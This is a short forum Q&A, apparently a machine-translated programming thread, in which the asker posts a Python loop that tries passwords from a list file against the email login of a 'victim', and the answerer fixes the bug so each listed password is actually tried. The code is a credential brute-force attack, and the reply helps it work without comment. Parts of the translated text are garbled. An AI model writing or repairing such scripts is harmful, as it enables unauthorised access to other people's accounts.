Try 语句不 运行 正确吗?

Try statement not running correctly?

我正在制作一个简单的程序,循环检查密码是否正确。我注意到我的 try 语句不起作用。这是我的代码:

listfile = open("list.txt","r")
def trial():
    for code in listfile:
        try:
            google.login(victim,"none")
            print("test")
            print("[!]Trial and error complete. Password is: %s"%code)
            break
        except smtplib.SMTPAuthenticationError:
            print("test")
            print("Incorrect password:%s"%code)
trial()

我知道 try 语句有效。我通过添加行 print("Test") 来测试它,但是当我 运行 它没有显示。

编辑:

try 语句现在是 运行,但它总是会引发错误。我知道它正在这样做,因为它是 运行 第 10 行和第 11 行,通过打印 "Incorrect password:"。我看到它打印 "Inncorrect password:" 即使输入的密码是正确的。

您的登录信息不正确。

在您的 try 区块中,您有 print("[!]Trial and error complete. Password is: %s" % code)

但是当您登录时,您的密码是"none":google.login(victim,"none")

将该行更改为 google.login(victim, code)